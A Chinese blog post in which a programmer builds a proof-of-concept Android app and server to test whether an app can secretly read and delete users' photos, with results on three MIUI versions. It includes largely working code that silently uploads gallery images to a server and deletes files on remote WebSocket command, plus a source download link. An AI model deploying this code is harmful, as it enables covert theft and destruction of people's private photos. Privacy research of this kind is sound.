随手记
前:
之前某多多app被爆出偷偷删除用户截图,让我不禁有些怀疑,App真的可以偷偷查看你的照片,并且随意删除吗?
作为程序员,决定自学一下安卓,写个App来测试下。
中:
简单分析下,app必须做到以下3点:
1、先将手机截图偷偷地上传到他们的服务器
2、某多多员工选中要删除的图片(截图很多,为了不误删除,必须人工筛选)
3、远程控制app,偷偷地删除选中的图片
自学了一段时间后,使用程序员必备技能:面向搜索引擎编程,肝了两天一个差不多的App就搞出来了。
/***********************************代码分析放到后面,先看结果*******************************/
测试机型以及系统:
注:app被打开后,会检测授权情况,如果没有读写手机存储权限,就不能使用。(模拟某些app的做法)
红米Note7--MIUI11 --稳定版
小米8se --MIUI12 --开发板
红米K30pro-- MIUI12.5 --开发板
测试结果:
红米Note7 MIUI11 稳定版
1、不授予读写手机存储权限:app无法正常运行
2、在授予了读写手机存储权限后:
app可偷偷翻阅你的相册,并随意删除。 翻阅时手机不会有任何提醒;删除图片时也不会有任何系统提示。
小米8se MIUI12 开发板
1、不授予读写手机存储权限:app无法正常运行
2、在授予了读写手机存储权限后:
app可偷偷翻阅你的相册,并随意删除。 翻阅时手机不会有任何提醒;删除图片时也不会有任何系统提示。
我们平时操作手机,删除照片后,照片会被放到回收站,还可以恢复, 但是被app删除的照片,不会进入回收站,而是直接消失了!
红米K30pro MIUI12.5 开发板
1、不授予读写手机存储权限: app无法正常运行
2、在授予了读写手机存储权限,并且允许app访问相册: 可以翻阅你的相册,翻阅时手机不会有任何提醒,但是不能删除你的照片。
3、在授予读写手机存储权限,不给相册权限下 app可以正常运行,不能翻阅相册,也不能删除你的照片。
后:
结论:
如果app被授予了读写手机存储权限,真的可以为所欲为。如果你是MIUI12.5的用户,可以通过关闭相册权限,来保护你的隐私。
注意:
1、测试结果仅适用于安卓系统的手机;除了MIUI系统,其他系统尚未测试,结果仅供参考
2、测试过程中,操作的照片文件,不是app自己创建的文件,而是位于系统相册文件夹DCIM下,是越界行为。
/*******************************************************代码分析模块***********************************************/
App:
主活动onCreate后,先检测app读写手机的权限,然后开始查找相册文件,并上传到服务器。监听服务器的删除命令可使用WebSocket实现。
//偷偷上传手机图片到服务器
private void findPhotos(){
String ServiceUrl = MyWsServiceAction;
String photoPath = PHOTO_PATH;
File file = new File(photoPath);
File[] files;
files = file.listFiles();
if (files != null && files.length>0){
for (File f: files){
if (isImage(f.getName())){
Log.d(TAG, "上传图片: "+f.getAbsolutePath());
try {
new Upload(f).execute(ServiceUrl);//后台的接口地址
} catch (Exception e) {
e.printStackTrace();
}
}
}
Log.d(TAG, "图片上传完毕!");
}else if(files != null && files.length==0){
Log.d(TAG, "相册为空!");
}else{
Log.d(TAG, "图片读取失败!强制退出App!");
MainActivity.this.finish();
System.exit(0);
}
}
//websocket
private void connect() {
try {
wsc.connect(MyWsServiceUrl,
new WebSocketConnectionHandler() {
@Override
public void onMessage(String payload) {
super.onMessage(payload);
Log.d(TAG, "收到服务器删除命令,删除文件: "+payload);
deletePhoto(payload);
}
@Override
public void onClose(int code, String reason) {
System.out.println("onClose reason=" + reason);
Log.d(TAG, "onClose: "+reason);
}
@Override
public void onOpen() {
System.out.println("onOpen");
Log.d(TAG, "onOpen: 服务器连接成功");
}
});
} catch (WebSocketException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
//删除相册截图
private void deletePhoto(String name){
String photo = PHOTO_PATH+name;
File file = new File(photo);
if (file.exists() && file.isFile()) {
System.gc();
boolean result = file.delete();
if (result) {
Log.d(TAG, "已删除图片: " + name);
Log.d(TAG, "删除成功路径: " + photo);
} else {
Log.d(TAG, "删除图片失败: " + name);
Log.d(TAG, "删除失败路径: " + photo);
}
}
}
服务器端:
服务器是采用SpringMVC的javaWeb,功能有:
提供保存图片的接口,保存App删除的图片;
简单后台的管理,用于展示App上传的图片;
WebSocket,用于向App发出删除命令。
/**
* @Author hxh
* @Date 2021-02-27 10:12:43
* @Desc: 接收app上传过来的图片
* @param req
* @param resp
* @throws
* @return void
*/
@RequestMapping(value = "/getphotos")
public void getPhoto(HttpServletRequest req, HttpServletResponse resp) throws Exception {
String path = filepath;
resp.setContentType("text/html;charset=utf-8");
String okstatus = "";
resp.setCharacterEncoding("utf-8");
req.setCharacterEncoding("utf-8");
String filename = req.getHeader("filename");
List<String> msgList2 = new ArrayList<String>();
File oldfile = new File(path + filename);
System.out.println("获取手机图片:" + filename);
if (req.getContentLength() > 0 && !oldfile.isFile()) {
InputStream inputstream = null;
FileOutputStream outputStream = null;
try {
inputstream = req.getInputStream();//获取post请求过来图片的流
File file = new File(path, filename);
file.createNewFile();
outputStream = new FileOutputStream(file);
byte temp[] = new byte[1024];
int size = 1;
while ((size = inputstream.read(temp)) != -1) {//每次读取1kb,读完为止
outputStream.write(temp, 0, size);//创建图片文件
}
msgList2.add("succedd");
okstatus = "上传成功!";
} catch (IOException io) {
msgList2.add("defeated");
okstatus = "上传失败!";
System.out.println(io.getMessage());
} finally {
outputStream.close();
inputstream.close();
}
}
JSONObject result = new JSONObject();
result.put("success", true);
result.put("okstatus", okstatus);
resp.getWriter().print(result);
}
/**
* @Author hxh
* @Date 2021-02-27 10:13:22
* @Desc: 后台管理界面,展示全部从手机中获取的图片
* @param
* @throws
* @return java.util.Map
*/
@RequestMapping(value = "/getAllPhoto")
public Map getAllPhoto() throws Exception {
File file = new File(filepath);
if (!file.isDirectory()) return null;
Map map = new HashMap();
List<Photo> photoList = new ArrayList<>();
Photo photo;
File[] files = file.listFiles();
for (File f : files) {
photo = new Photo(f.getName(), "photo/" + f.getName());
photoList.add(photo);
}
map.put("data", photoList);
return map;
}
/**
* @Author hxh
* @Date 2021-02-27 10:14:53
* @Desc: 后台管理界面,发送删除图片命令到手机
* @param filename
* @throws
* @return void
*/
@RequestMapping(value = "/deletePhoto")
public void deletePhoto(String filename) throws IOException {
System.out.println("远程删除图片【" + filename + "】命令已发出...");
WebSocketController.sendMessage(filename);
File file = new File(filepath + filename);
if (file.exists() && file.isFile()) file.delete();
}
源码:
https://wwi.lanzous.com/iGTk1m8iy1i 密码:pinxx